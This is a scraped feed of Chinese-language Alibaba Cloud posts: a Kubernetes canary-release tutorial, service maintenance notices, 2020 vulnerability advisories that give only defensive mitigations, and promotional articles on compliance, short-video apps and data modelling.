      对于这类问题,每个企业的解决方案都不同,最核心的就是把相关人员的知识边界尽量拉到同一级别,最大程度地减少沟通成本和冲突。完美日记是采用“及时同步、责任到人、内部培训”的方法,比如每次在任何环境做的调整都需要在容器化改造群内通知相关人员,保证大家的认知一致;在内部推进“谁负责谁完善”的文档制度;同时组织一些内部技术培训,让关键开发人员在公司内部对K8s进行培训讲解。还有就是推进企业内部新的、统一的技术文化等。

      3、未来规划

      目前各大公有云厂商都推出了容器服务,还有不少独立的容器云公司。如果企业一开始就是建立在公有云之上,推荐直接使用相应的容器服务,不仅可以快速搭建系统,还能大幅降低运维成本,提高效率,轻松实践DevOps。在容器环境下,很多日常操作都自动化或半自动化了,比如应用的部署和发布、扩容等,容器编排具有自愈能力,即使出现问题,也能减少人工的干预,大大减轻运维人员的工作压力。

      完美日记下一步会重点关注三方面,一是进行Ingress+Gateway单独部署;二是使用ECI+HAP+EW+AHAS(自动扩容数据来源)进一步优化成本,应对突发流量;三是考虑采用服务化网格技术。

      如今,云原生已经成为企业数字化转型的关键策略,由于应用需要快速开发和交付,这就促使企业采用云原生的方法来开发应用,以提高效率,并增加灵活性。对于身处云原生时代的企业和开发者而言,不仅需要了解如何通过容器实现构建应用的新方式,更是要以开阔的视野和开放的心态去拥抱云原生生态。

      对于企业而言,需要具备一定的前瞻性,对于容器生态圈的主流技术和发展要有足够的把握,才能更好地将现有业务与容器技术相结合。随着企业对技术的不断探索,业务系统的逐步演进,应用规模的日渐增大,如何更好地与开源生态系统相结合,扩大企业的技术影响力,同时引入更合适的人才,是云原生时代下企业要考虑的问题。

      点击阅读原文,了解更多阿里云容器服务ACK技术详解与客户案例。
      阅读原文链接:https://www.aliyun.com/product/kubernetes?spm=5176.12825654.1kquk9v2l.1.e2cd2c4aqP4QCp

      ]]>
      SpringCloud 应用在 Kubernetes 上的最佳实践 — 线上发布(可灰度) Fri, 02 May 2025 09:39:04 +0800 前言

      前三篇我们介绍了应用的开发和部署,那么在应用成功上云后,我就要面对应用的管理话题了,这一篇我们来看看如何做线上发布,并且是可灰度的。

      第一篇:《SpringCloud 应用在 Kubernetes 上的最佳实践 — 开发篇》
      第二篇:《SpringCloud 应用在 Kubernetes 上的最佳实践 — 部署篇(开发部署)》
      第三篇:《SpringCloud 应用在 Kubernetes 上的最佳实践 — 部署篇(工具部署)》

      在新版本上线时,无论是从产品稳定性还是用户对新版本的接收程度上考虑,直接将老应用升级到新版本应用都有很大风险的。我们一般的做法是,保证新老版本同时在线,并且先将少部分流量切换到新版本应用上,同时在此期间对新版本的应用请求进行观察。在确认新版本没有问题后,再逐步将更大比例的流量切换到新版本上。这个过程的核心是可以对流量的流入转发规则进行配置,EDAS的金丝雀发布能力,提供了多个版本同时在线的能力,并且能提供了灵活的配置规则来给不同的版本进行流量分配。

      部署在EDAS Kubernetes 集群中的 Spring Cloud 微服务应用,在新版本发布的时候可以使用金丝雀发布进行小规模验证,验证通过后再全量升级。

      金丝雀发布配置

      首先,进入EDAS的应用部署页面,对我们要进行部署升级的应用进行发布,在这里我们选择金丝雀(灰度)发布。需要注意的是,对灰度发布的流量控制,当前只对非入口应用的Dubbo和Spring Cloud应用生效。所谓入口应用,即承接外部流量的第一个应用节点。并且若您的应用使用了HPA、Rancher、Istio、或者依赖Deployment.Metadata.Name或 Deployment.Metadata.Uid的功能与配置等K8s原生功能或配置时,请勿使用灰度发布或分批发布。否则,应用部署之后,这些K8s原生功能或配置将出现异常。
      1.png

      在发布页面,可以选择通过上传JAR包或者填入JAR包地址的方式选择要进行发布的新版本应用部署包。
      2.png

      在选择好要进行发布的新版本应用部署包后,接下来进行发布策略的配置。这里分为两个部分,第一部分可以对发布批次进行设置,例如设置发布灰度批次,首批进行灰度的pod实例个数,分批间处理方式等。第二部分可以对流量灰度规则进行配置,我们可以选择按流量内容进行灰度或者简单地按照流量比例进行灰度。下面详细介绍这两种发布策略配置。

      设置发布策略

      在批次发布这里我们可以进行的配置有:

      • 首批灰度数量:在点击发布后,会首先将首批灰度数量个数的实例进行新版本的发布。为了保证应用的稳定性,首批灰度的实例数不能超过应用实例总数的50%。比如当前实例数是7台,那么最多只能选择3台作为首批灰度的实例;
      • 剩余批次:首批灰度发布完成后,剩余的应用实例将按照此处指定的批次发布完成;
      • 分批间处理方式:剩余批次间的处理方式可选择手动或者自动,若选择自动,则剩余的几个批次将在前一批发布完成后进行自动发布,自动发布的批次间隔也可进行配置,例如配置每批次在发布完成后,30分钟后自动进行下一批次的发布;
      • 批次内部署间隔:每一批次内,如果此批次内要发布的应用实例数大于 1,则要进行此配置指定批次内实例部署间隔。


      在下面的例子中,我们现在有7个pod应用实例,选择首批对2个实例进行灰度升级。在首批2个实例的灰度发布完成后,将剩下的5个实例分3个批次进行发布。这3个批次的批次间处理方式选择自动发布,在当前批次发布完成后30分钟后自动进行下一批次的发布。同时,由于第2批次和第2批次内实例个数为两台,因此选择批次内两台实例部署间隔为60秒。在发布页面右侧可以对我们的发布策略配置信息进行预览。

      3.png

      设置灰度规则

      目前支持按内容灰度按比例灰度两种方式设置灰度规则。按请求内容进行灰度支持将请求内容符合指定灰度规则条件的流量作为灰度流量,进入到灰度实例中,例如,选择用户ID模100小于等于40的流量作为灰度流量进入灰度实例进行处理,而用户ID模100大于40的仍然进入非灰度实例进行处理,如图1所示。而按流量比例进行灰度是指,将制定比例的请求流量作为灰度流量进入灰度实例进行处理,例如指定40%的流量作为灰度流量,如图2所示。

      4.png5.png

      按请求内容进行灰度

      按请求内容进行灰度可以进行下面指定参数的配置,来决定有哪些请求内容特征的流量将作为灰度流量进入灰度实例中。

      • 协议类型:可选择Spring Cloud和Dubbo,这里我们主要介绍Spring Cloud协议。在Spring Cloud协议下需要对HTTP请求路径进行配置;
      • 条件模式:针对下面配置的的条件列表,可配置条件模式为:同时满足下列条件满足下列任一条件。符合条件模式的请求将作为灰度流量;
      • 条件列表:Spring Cloud协议下可分别对 Cookie、Header 和 Parameter 3 种请求内容进行条件配置;

      6.png

      按比例进行灰度

      按比例灰度即设置流量比例,然后请求流量会按配置的比例被转发到当前的灰度分组中进行处理。7.png

      灰度发布并验证新版本应用是否符合预期

      配置好发布配置后,即可开始进行灰度发布,EDAS 将先在指定的灰度分组中部署新版本应用,可在进入变更详情页面查看部署进度和状态。如果在灰度发布时,发现新版本有问题,还可以终止变更并对应用进行回滚。
      在灰度的发布过程中,可对应用进行监控,以监控灰度流量是否符合预期,同时可以对应用状态进行新老版本的对比。在当前批次的灰度流量验证完成后,在变更详情页面单击开始下一批,完成后续分批发布。如果在验证过程中,发现新版本应用有问题,可以在变更详情页面右上角单击立即回滚。在弹出的立即回滚对话框确认回滚的影响,然后单击回滚。
      关于如何监控灰度流量,可以参考EDAS文档《监控灰度流量》
      8.png

      灰度发布后,在基本信息页面查看部署包是否为新部署的应用版本。在实例部署信息页面查看应用实例的运行状态是否为运行正常。

      9.png

      结语及其后续

      本章我们介绍了如何对EDAS Kubernetes集群上的Spring Cloud应用进行灰度发布,在灰度发布过程中,我们可以灵活地配置发布策略、灰度规则以及在发布过程中对流量及应用状态进行监控,并且提供了终止回滚等操作,最大程度地保证应用能够平滑地进行版本升级。接下来的文章中,我们将详细介绍在发布过程中如何对应用进行监控。

      ]]>
      【升级】7月事件总线EventBridge升级计划通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【事件总线EventBridge】【升级通知】

      升级窗口:

      北京时间2020年7月7日 00:00 - 06:00

      北京时间2020年7月9日 00:00 - 06:00

      北京时间2020年7月14日 00:00 - 06:00

      北京时间2020年7月16日 00:00 - 06:00

      北京时间2020年7月21日 00:00 - 06:00

      北京时间2020年7月23日 00:00 - 06:00

      北京时间2020年7月28日 00:00 - 06:00

      北京时间2020年7月30日 00:00 - 06:00

      升级内容:华东1(杭州)地域的事件总线服务升级。

      升级影响:升级期间事件总线EventBridge相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【升级】7月消息队列MQ升级计划通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【消息队列MQ】【升级通知】

      升级窗口:

      北京时间2020年07月02日 01:00 - 09:00

      北京时间2020年07月07日 01:00 - 09:00

      北京时间2020年07月09日 01:00 - 09:00

      北京时间2020年07月14日 01:00 - 09:00

      北京时间2020年07月16日 01:00 - 09:00

      北京时间2020年07月21日 01:00 - 09:00

      北京时间2020年07月23日 01:00 - 09:00

      北京时间2020年07月28日 01:00 - 09:00

      北京时间2020年07月31日 01:00 - 09:00
      升级内容:所有地域的MQ服务(包含Tcp、Mqtt、Http接入方式)。

      升级影响:升级期间MQ控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端会自动重试机制,一般不会影响业务,但可能会有异常日志。
      升级期间,消息可能会有重复,应用应该按最值实践,做好消息的幂等;同时可能会有消息延迟的现象。
      如需在控制台进行管理操作,请避开维护时间段。HTTP接入可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。同时,您可使用监控管理功能对重要业务进行监控,具体设置方法请点击MQ控制台左侧监控报警菜单。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【升级】7月7日MMX注册局系统维护通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【域名】【注册局维护通知】

      维护时间:北京时间2020年7月7日 13:00 - 15:00

      维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

      维护影响:届时 .Vip/.Work/.Beer/.Luxe/.Fit/.Yoga 域名的注册、续费、信息修改,线上操作和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

      1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

      2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

      如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

      由此给您带来的不便,我们表示歉意,敬请谅解。

      ]]>
      【升级】7月8日UNR注册局系统维护通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【域名】【注册局维护通知】

      维护时间:北京时间2020年7月8日 01:00 - 02:00

      维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

      维护影响:届时.link/.help/.gift/.lol/.photo/.mom/.click/.pics/.game 等域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

      1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

      2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

      如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

      由此给您带来的不便,我们表示歉意,敬请谅解。

      ]]>
      【升级】7月7日DDoS高防(国际)升级通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【DDoS高防(国际)】【升级通知】

      升级窗口:北京时间 2020年7月7日 06:00- 07:00

      升级内容:DDoS高防(国际)进行网络升级操作

      升级影响:升级期间,部分IP需要重新连接,会导致TCP连接闪断2次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【升级】7月7日、8日阿里云域名注册系统维护通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【域名】【域名注册系统维护通知】

      维护时间:北京时间2020年7月7日 23:00 -7月8日 02:00

      维护内容:阿里云域名注册系统维护。

      维护影响:届时各域名的注册、续费、转入和赎回等操作将会无法使用,在此期间会对您造成的影响如下:

      1、您提交的注册(购买)、续费、转入、赎回、一口价域名等业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态。

      2、您提交的域名万网预订等业务订单处理将延迟,支付费用后暂时无法在控制台内查看到,待维护结束后将变为正常的“处理中”或其他实际状态。

      3、维护过程中您无法对域名注册信息进行修改,将提示修改失败。如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

      由此给您带来的不便,我们表示歉意,敬请谅解。

      ]]>
      【漏洞预警】F5 BIG-IP TMUI 远程代码执行漏洞(CVE-2020-5902) Fri, 02 May 2025 09:39:04 +0800

      2020年7月3日,阿里云应急响应中心监测到 CVE-2020-5902 F5 BIG-IP TMUI 远程代码执行漏洞。


      漏洞描述

      F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。2020年7月1日,F5官方公布流量管理用户界面(TMUI)存在 前台远程执行代码(RCE)漏洞(CVE-2020-5902)。攻击者利用该漏洞,构造恶意请求,在未授权的情况下获得目标服务器的权限,实现远程代码执行。阿里云应急响应中心提醒F5 BIG-IP TMUI 用户尽快采取安全措施阻止漏洞攻击。


      影响版本

      F5 BIG-IP < 15.1.0.4

      F5 BIG-IP < 14.1.2.6

      F5 BIG-IP < 13.1.3.4

      F5 BIG-IP < 12.1.5.2

      F5 BIG-IP < 11.6.5.2


      安全建议

      建议将F5 BIG-IP 升级至安全版本。下载地址参考:https://support.f5.com/csp/article/K52145254


      相关链接

      https://support.f5.com/csp/article/K52145254



      阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测


      我们会关注后续进展,请随时关注官方公告。

      如有任何问题,可随时通过工单或服务电话95187联系反馈。

      阿里云应急响应中心

      2020.07.03

      ]]>
      【漏洞预警】kube-proxy 边界限制访问绕过漏洞(CVE-2020-8558) Fri, 02 May 2025 09:39:04 +0800

      2020年7月10日,阿里云应急响应中心监测到 CVE-2020-8558 kube-proxy 边界限制访问绕过漏洞。


      漏洞描述

      kube-proxy是Kubernetes的核心组件,部署在每个Node节点上,它是实现Kubernetes Service的通信与负载均衡机制的重要组件。近日Kubernetes官方发布相关安全公告,kube-proxy组件在iptables和ipvs模式下均需要设置内核参数 net.ipv4.conf.all.route_localnet=1, 从而允许本地回环访问。攻击者可能通过共享主机网络的容器,或在集群节点上访问同一个LAN或二层网络下的相邻节点上绑定监听了本地127.0.0.1端口的TCP/UDP服务,从而获取接口信息。如果服务没有设置必要的安全认证,可能会造成信息泄露风险。阿里云应急响应中心提醒 kube-proxy 用户尽快采取安全措施阻止漏洞攻击


      漏洞评级

      如果集群API Server开启了非认证端口(默认8080),那么攻击者可能获取到API Server接口相关信息,漏洞评级为高危,评分为8.8分

      如果集群API Server默认关闭了非认证端口,漏洞评级为中危,评分为5.4分。


      安全版本

      kube-proxy >=1.18.4

      kube-proxy >=1.17.7

      kube-proxy >= v1.16.11


      影响版本

      kube-proxy v1.18.0~v1.18.3

      kube-proxy v1.17.0~v1.17.6

      kube-proxy <= v1.16.10

      当前ACK集群节点中默认监听127.0.0.1的系统服务是需要认证的,且API Server也统一禁用了非认证端口。唯一暴露的是kubelet 10255的非认证只读端口,由于kubelet只读接口同样监听在0.0.0.0,因此即使修复了该漏洞在本地或特权容器中也同样可以获取到接口信息。综上,该CVE对ACK集群影响不大


      安全建议

      1. 当前ACK集群默认关闭API Server 8080非认证端口,请勿手动开启该端口。

      2. 执行以下命令,在集群中配置iptables规则,用于拒绝非本地对127.0.0.1的访问流量。

       iptables -I INPUT --dst 127.0.0.0/8 ! --src 127.0.0.0/8 -m conntrack ! --ctstate RELATED,ESTABLISHED,DNAT -j DROP
      
      
      
      
      
      
      
      

      3. 严格控制集群节点共享主机的登录权限,及时吊销可能泄露的kubeconfig集群访问凭证。

      4. 禁止Container开启CAP_NET_RAW能力,执行以下命令,可以在pod spec中关闭Container的CAP_NET_RAW能力。

      securityContext:
            capabilities:      
                    drop: ["NET_RAW"]
      
      
      
      
      
      
      

      5. 通过PodSecurityPolicy策略限制部署特权或共享主机网络容器,另外可以通过在策略中配置requiredDropCapabilities强制容器部署关闭CAP_NET_RAW能力。


      阿里云容器服务Kubernetes版不受该漏洞影响。


      相关链接

      https://github.com/kubernetes/kubernetes/issues/90259




      阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测


      我们会关注后续进展,请随时关注官方公告。

      如有任何问题,可随时通过工单或服务电话95187联系反馈。

      阿里云应急响应中心

      2020.07.10

      ]]>
      【漏洞预警】Citrix 系列产品 多个高危漏洞 Fri, 02 May 2025 09:39:04 +0800

      近日,阿里云应急响应中心监测到 Citrix 官方披露包含权限绕过,文件读取在内的多个高危漏洞,影响包括Citrix ADC、Citrix Gateway在内的多个产品。


      漏洞描述

      Citrix是一套提供网络管理,防火墙,网关等功能的集成化平台。Citrix 官方于近日披露包含权限绕过,文件读取在内的多个高危漏洞。攻击者通过构造恶意请求包,能够对多个Citrix产品造成包括任意文件下载、任意文件上传、代码注入、权限提升等多种影响。阿里云应急响应中心提醒 Citrix 用户尽快采取安全措施阻止漏洞攻击。


      影响版本

      Citrix ADC and Citrix Gateway < 13.0-58.30

      Citrix ADC and NetScaler Gateway < 12.1-57.18

      Citrix ADC and NetScaler Gateway < 12.0-63.21

      Citrix ADC and NetScaler Gateway < 11.1-64.14 

      NetScaler ADC and NetScaler Gateway < 10.5-70.18

      Citrix SD-WAN WANOP < 11.1.1a

      Citrix SD-WAN WANOP < 11.0.3d

      Citrix SD-WAN WANOP < 10.2.7

      Citrix Gateway Plug-in for Linux <  1.0.0.137


      安全建议

      建议将 Citrix对应产品 升级至安全版本。下载地址参考:https://support.citrix.com/article/CTX276688


      相关链接

      https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/

      https://dmaasland.github.io/posts/citrix.html


      阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测



      我们会关注后续进展,请随时关注官方公告。

      如有任何问题,可随时通过工单或服务电话95187联系反馈。

      阿里云应急响应中心

      2020.07.11

      ]]>
      【漏洞预警】SAP NetWeaver AS Java 高危漏洞(CVE-2020-6287) Fri, 02 May 2025 09:39:04 +0800

      2020年7月14日,阿里云应急响应中心监测到 CVE-2020-6287 SAP NetWeaver AS Java高危漏洞。


      漏洞描述

      SAP是SAP公司的产品企业管理解决方案的软件名称。SAP官方发布安全更新,修复了一个存在于SAP NetWeaver AS Java(LM配置向导)7.30至7.50版本中的严重漏洞CVE-2020-6287。未经身份验证的远程攻击者可以通过创建具有最大特权的新SAP用户,绕过所有访问和授权控制,从而完全控制SAP系统。阿里云应急响应中心提醒 SAP 用户尽快采取安全措施阻止漏洞攻击。


      影响版本

      SAP NetWeaver AS JAVA (LM 配置向导) Versions = 7.30, 7.31, 7.40, 7.50

      其中潜在受影响的SAP解决方案包括(但不限于):

      SAP Enterprise Resource Planning(ERP)

      SAP Product Lifecycle Management

      SAP Customer Relationship Management

      SAP Supply Chain Management(SCM)

      SAP Supplier Relationship Management

      SAP NetWeaver Business Warehouse

      SAP Business Intelligence

      SAP NetWeaver Mobile Infrastructure

      SAP Enterprise Portal

      SAP Process Orchestration/Process Integration

      SAP Solution Manager

      SAP NetWeaver Development Infrastructure

      SAP Central Process Scheduling

      SAP NetWeaver Composition Environment

      SAP Landscape Manager


      安全建议

      建议将 SAP对应产品 升级至安全版本。下载地址参考:https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675


      相关链接

      https://us-cert.cisa.gov/ncas/alerts/aa20-195a



      我们会关注后续进展,请随时关注官方公告。

      如有任何问题,可随时通过工单或服务电话95187联系反馈。

      阿里云应急响应中心

      2020.07.14

      ]]>
      【漏洞预警】Windows DNS Server远程代码执行漏洞(CVE-2020-1350) Fri, 02 May 2025 09:39:04 +0800

      2020年7月14日,阿里云应急响应中心监测到微软发布补丁修复了一个标注为远程代码执行的DNS Server漏洞(CVE-2020-1350),官方分类为“可蠕虫级”高危漏洞。目前微软官方已提供临时缓解措施以及相应的月度安全补丁修复该漏洞。


      漏洞描述

      微软官方于7月14日发布安全更新,其中修复了一个标注为远程代码执行的DNS Server漏洞(CVE-2020-1350),官方分类为“可蠕虫级”高危漏洞。未经身份验证的攻击者可以发送特殊构造的数据包到目标DNS Server来利用此漏洞,成功利用此漏洞可能达到远程代码执行的效果。如果域控制器上存在DNS服务,攻击者可利用此漏洞获取到域控制器的系统权限。阿里云应急响应中心提醒 Windows 用户尽快采取安全措施阻止漏洞攻击。


      漏洞评级

      CVE-2020-1350 高危


      影响版本

      Windows Server 2008 for 32-bit Systems Service Pack 2

      Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core)

      Windows Server 2008 for x64-based Systems Service Pack 2

      Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core)

      Windows Server 2008 for 32-bit Systems Service Pack 2

      Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core)

      Windows Server 2008 for x64-based Systems Service Pack 2

      Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core)

      Windows Server 2008 R2 for x64-based Systems Service Pack 1

      Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core)

      Windows Server 2008 R2 for x64-based Systems Service Pack 1

      Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core)

      Windows Server 2012

      Windows Server 2012 (Server Core)

      Windows Server 2012

      Windows Server 2012 (Server Core)

      Windows Server 2012 R2

      Windows Server 2012 R2 (Server Core)

      Windows Server 2012 R2

      Windows Server 2012 R2 (Server Core)

      Windows Server 2016

      Windows Server 2016 (Server Core)

      Windows Server 2019

      Windows Server 2019 (Server Core)

      Windows Server, version 1903 (Server Core)

      Windows Server, version 1909 (Server Core)

      Windows Server, version 2004 (Server Core)


      安全建议

      1、缓解措施。修改 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesDNSParameters 中TcpReceivePacketSize的值为0xFF00,并重启DNS Service。

      2、前往微软官方下载相应补丁进行更新 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350

      3、阿里云云安全中心Windows系统漏洞模块已支持对该漏洞补丁一键检测和修复,详情登陆云安全中心

      Windows Server 2008 (官方已停止免费补丁维护,需购买微软ESU服务,建议放弃使用:https://www.microsoft.com/en-us/windows-server/extended-security-updates

      Windows Server 2012 补丁:KB4565537

      Windows Server 2012 R2 补丁:KB4565541

      Windows Server 2016 补丁:KB4565511

      Windows Server 2019 补丁:KB4558998




      相关链接

      https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/

      https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350



      我们会关注后续进展,请随时关注官方公告。

      如有任何问题,可随时通过工单或服务电话95187联系反馈。

      阿里云应急响应中心

      2020.07.15

      ]]>
      【其他】7月13日堡垒机升级通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【堡垒机】【升级通知】

       1、升级窗口:

       7月13日-7月24日 (分批次升级);

       2、升级区域:全区域

       3、升级内容:

      堡垒机产品V3.2.X版本升级至V3.2.10版本,V3.2.10版本在主机配置、用户配置、控制策略、支持语言等均进行了优化升级:  

           1)主机配置:支持从文件导入主机;支持RDS专有主机组导入;支持同步时自动更新ECS属性;支持批量新增主机账号密钥;支持主机指纹;支持手动修改主机操作系统

            2)用户配置:新增堡垒机本地用户;支持从文件导入本地用户;支持AD/LDAP认证;支持配置用户SSH公钥;支持用户的短信双因子认证;支持国际手机号(+86、+852、+7、+60、+62、+65)

            3)控制策略:支持配置命令、协议访问、来源IP控制策略;支持命令审批

            4)支持英文、中文繁体、中文简体切换

      ]]>
      云上安全等保2.0解决方案-米姆带你轻松过等保测评 Fri, 02 May 2025 09:39:04 +0800 适用客户


      需要按照等级保护保护标准和规范进行建设、整改的各行业与单位。

      主要内容


      公司等级保护建设、整改业务主要内容包括如下:


      安全规划:根据国家等级保护相关要求等,结合客户的组织架构、业务要求、实际情况,整理客户安全建设工作实际需求和目标,形成《调研报告》和《总体规划》;


      定级备案:确定客户的定级范围,分析客户的组织架构、业务要求等内容,进行摸底调查,确定定级对象;针对定级对象,基于国家《定级指南》协助系统主管部门初步确定系统的等级,形成《定级报告》;协助进行专家评审和审批,协助完成定级备案工作;


      风险评估:通过资产评估、漏洞扫描、审计、网络架构分析、数据流分析等方式,为客户全面分析信息系统的资产现状、主机、数据库、安全设备、网络的弱点、威胁和风险,形成《风险评估报告》(可选增值服务);


      差距分析:按照等级保护相应级别的安全要求,对需要建设的系统进行安全体系等方面的差距分析,形成《差距分析报告》;


      安全建设:根据确认的等级保护差距报告分析情况,制定整体的《解决方案》,协助方案评审,协助落实等级保护安全建设实施工作;


      整改加固:根据相应级别等级保护对应的相应要求,制定所需安全管理制度、流程和表格、技术标准和规范等文档,并对主机、网络设备、数据库制定加固方案,通过打补丁、修改安全配置、增加安全机制等方法,合理加强设备的安全性,以满足等级要求;


      辅助测评:为了更好的协助客户通过等级保护测评工作,提供辅助测评支持;


      安全运维:主要包括安全巡检、风险评估、安全加固、应急响应及其他客户需要的安全运维工作,更好的确保系统稳定、安全的运行。


      米姆为您提供一站式等保评测服务,有需要请速速与我们联系吧。

      ]]>
      短视频程序近年来为何如此的受欢迎,都有哪些吸引人的功能? Fri, 02 May 2025 09:39:04 +0800 一说到短视频程序,相信大家都不陌生,它已经渗入到我们的生活中,当今的大众群体,无论80后90后,还是部分70后都有了刷短视频的习惯,去消磨自己的闲暇时光,很多软件公司也纷纷涌入开发。在开发短视频小程序之前首先要了解一个问题,为什么短视小程序能够如此受欢迎呢?有人会说好玩,那么短视频程序到底为何受欢迎,以及都有哪些吸引人的功能呢。下面为大家简单整理了几点原因。
      直播1_副本.jpg

      一、为何受欢迎
      短视频的快速发展也带动了电商的复苏,也有些人发现了其中的商机,发现了短视频与电商相结合的模式,打开了短视频带货的大门,也为疫情当下的实体店铺和电商开辟了新路径。
      内容丰富多元化,用户体验度高,能够分析大数据,根据大众的喜好喜欢去推送相关的内容信息,做到“私人订制”。打开短视频程序,无不有许多种类的短视频,唱歌、搞笑等其他有意思的,一个接着一个让人过不完的瘾。“搞笑”“正能量”“新闻”“长知识”等等内容,其中搞笑类的占据多数,不少用户本着寻个开心的想法都能在短短15秒的时间内得到满足。平台内容迎合大众喜爱,因此这是短视频深受大众喜爱的最关键原因。
      能够解决碎片化时间需求,每个人每天都会有充足的碎片化时间,而这些碎片化时间基本上与无聊为伴,而短视频小程序能够提供有趣的内容,为观看者解决碎片化时间的需求。
      直播2_副本.jpg

      社会新风向,不管是哪个行业的兴起,都离不开借助社会环境这个重要因素,而政府一向都很支持文化创意产业的发展,所以短视频的兴起也成为了大势所趋。得到了政府和人民的支持,短视频也就等于获得了社会和大众的认可。
      视频虽“短”,但粘性强。“短视频”不同于长视频甚至是专业的记录视频,小视频在时间上比较的短小,有的一般都在15秒,甚至10秒。这样的时间里展现的短小的视频,一般人浏览不会产生视觉疲劳,一个视频十几秒就过了,可以快速进入下一个新的视频里去。在以快节奏阅读的时代里,这种形式是比较让人接受,受到欢迎的。视频虽“短”,但有一定粘性,人们会不自觉的滑动屏幕长时间浏览。
      好的短视频也是建立在功能实用性和多样化的基础上,所以说一款短视频程序的开发也缺少不了功能的实现,那么一款短视频小程序有什么功能呢?
      直播3_副本.jpg

      二、短视频小程序有什么功能?
        1、在线观看:用户可以直接通过小程序进行观看短视频的相关内容,只需要打开小程序就可以直接浏览。
        2、在线评论:当用户在浏览过程中,对于自己感兴趣的内容也可以发表相应的评论。
        3、在线发布:每一位用户既然视频的浏览者也可以是创作者,为了激励他们创作,平台会进行一定的奖励。
      4、在线关注:为了第一时间获取自己想要浏览的内容,用户可以直接关注相应的创作者。
      声明:以上内容为云豹科技作者本人原创,未经作者本人同意,禁止转载,否则将追究相关法律责任

      ]]>
      数据中台模型设计系列(一):维度建模初探 Fri, 02 May 2025 09:39:04 +0800 前言:更多关于数智化转型、数据中台内容可扫码加群一起探讨
      668d7f5941782665ed1f41529db3eb677f4b9379.png
      阿里云数据中台官网 https://dp.alibaba.com/index


      1、与几个概念的关系

      操作型业务系统
      对于这个概念大家都不陌生。企业业务赖以运转的交易系统就属于操作型业务系统。因此它是为了保障业务正常运转,能够更快的处理事务。

      但是因为它是针对某一特定的意图(例如满足交易业务),它不需要承诺与其他业务系统共享公共数据。因此就出现了适合于企业中交叉应用的ERP、主数据系统。当然对于有建设业务中台的企业来说,基于微服务架构的各个服务中心,能更好的提供可复用统一的公共数据。

      不管是面向业务的业务系统、经过数据统一后的主数据系统或者基于微服务架构的服务中心的数据,都是作为数据中台的数据输入源头。我们通过批量同步、归档日志采集等方式,能将数据采集进数据中台,作为ODS层原始数据的一部分。

      ETL
      英文Extract-Transform-Load的缩写,用来描述将数据从来源端经过抽取(extract)、转换(transform)、加载(load)至目的端的过程。在ODS层的原始数据,需要通过加工处理后,才能进入到构建好的数据模型中。

      在模型设计时,需要考虑ETL加工流程,根据逻辑判断,做模型的合理设计。同样对于下游使用数据模型的ETL元数据,也是作为模型设计的输入,可基于下游应用方式做模型的横向和纵向的拆分设计,这就是“元数据驱动模型设计”的理论来源。

      因此,无法理解数据开发的模型设计师是不合格的。

      数据应用
      数据中台提供多种数据应用的形式,包括数据报表、智能数据产品等。将统一汇总加工后的数据或者明细原子数据提供给数据应用,为业务提供数据支撑。

      更加合理的数据模型设计,能够给更宽泛的应用提供数据支撑,也能够让业务方更准确无疑义的使用好数据。

      2、几种企业常见的建设现状

      烟囱式
      也许大家都不愿意承认,但是绝大部分的企业当前是没有统一、标准、公共、全局的模型设计的,而仅仅是把数据同步上来,然后基于业务需求做烟囱式的数据开发。这种方式也许从短期来看是效率最高的,但是从长期看,不仅仅造成计算存储资源的极大浪费、没有统一可用的数据、大量的重复性的工作。企业的数据就像一团乱麻,根本无法管理。

      三范式+数据集市

